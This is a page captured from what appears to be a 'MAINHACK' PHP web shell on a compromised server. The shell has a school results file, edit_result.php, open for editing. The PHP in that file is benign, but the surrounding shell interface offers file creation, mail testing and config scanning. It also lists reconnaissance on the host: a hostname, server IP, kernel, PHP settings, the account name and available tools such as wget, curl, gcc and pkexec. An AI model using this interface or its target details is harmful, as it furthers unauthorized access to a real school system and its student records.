[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit_result.php
<?php include("functions.php"); if(isset($_GET['id'])) { $id = intval($_GET['id']); $s_code = $_SESSION['s_code_Xw2119904']; // Fetch record $stmt = $new->prepare("SELECT * FROM student_result WHERE rid = ? AND s_code = ?"); $stmt->bind_param("is", $id, $s_code); $stmt->execute(); $result = $stmt->get_result(); $record = $result->fetch_assoc(); if (!$record) { die("Record not found"); } if ($_SERVER['REQUEST_METHOD'] === 'POST') { $class_score = test_input($_POST['class_score']); $exam_score = test_input($_POST['exams_score']); $total = $class_score + $exam_score; $grade = test_input($_POST['grade']); $remarks = test_input($_POST['remarks']); $update = $new->prepare("UPDATE student_result SET class_score=?, exams_score=?, total_score=?, grading=?, remarks=? WHERE rid=? AND s_code=?"); $update->bind_param("iiissis", $class_score, $exam_score, $total, $grade, $remarks, $id, $s_code); if ($update->execute()) { header("Location: manage-result.php?updated=1"); // redirect back after update exit; } else { echo "Error updating record."; } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Edit Student Result</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background-color: #f8f9fa; } .edit-card { max-width: 600px; margin: 50px auto; border-radius: 1rem; box-shadow: 0 4px 20px rgba(0,0,0,0.1); background: white; padding: 30px; } .edit-card h3 { font-weight: 600; margin-bottom: 20px; color: #0d6efd; text-align: center; } .form-label { font-weight: 500; } </style> </head> <body> <div class="container"> <div class="edit-card"> <h3>Edit Student Result</h3> <form method="POST"> <div class="mb-3"> <label class="form-label">Class Score</label> <input type="number" name="class_score" class="form-control" value="<?= htmlspecialchars($record['class_score']); ?>" required> </div> <div class="mb-3"> <label class="form-label">Exams Score</label> <input type="number" name="exams_score" class="form-control" value="<?= htmlspecialchars($record['exams_score']); ?>" required> </div> <div class="mb-3"> <label class="form-label">Grade</label> <input type="text" name="grade" class="form-control" value="<?= htmlspecialchars($record['grading']); ?>" required> </div> <div class="mb-3"> <label class="form-label">Remarks</label> <input type="text" name="remarks" class="form-control" value="<?= htmlspecialchars($record['remarks']); ?>" required> </div> <div class="d-flex justify-content-between"> <a href="manage-result" class="btn btn-secondary">Cancel</a> <button type="submit" class="btn btn-primary">Update</button> </div> </form> </div> </div> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002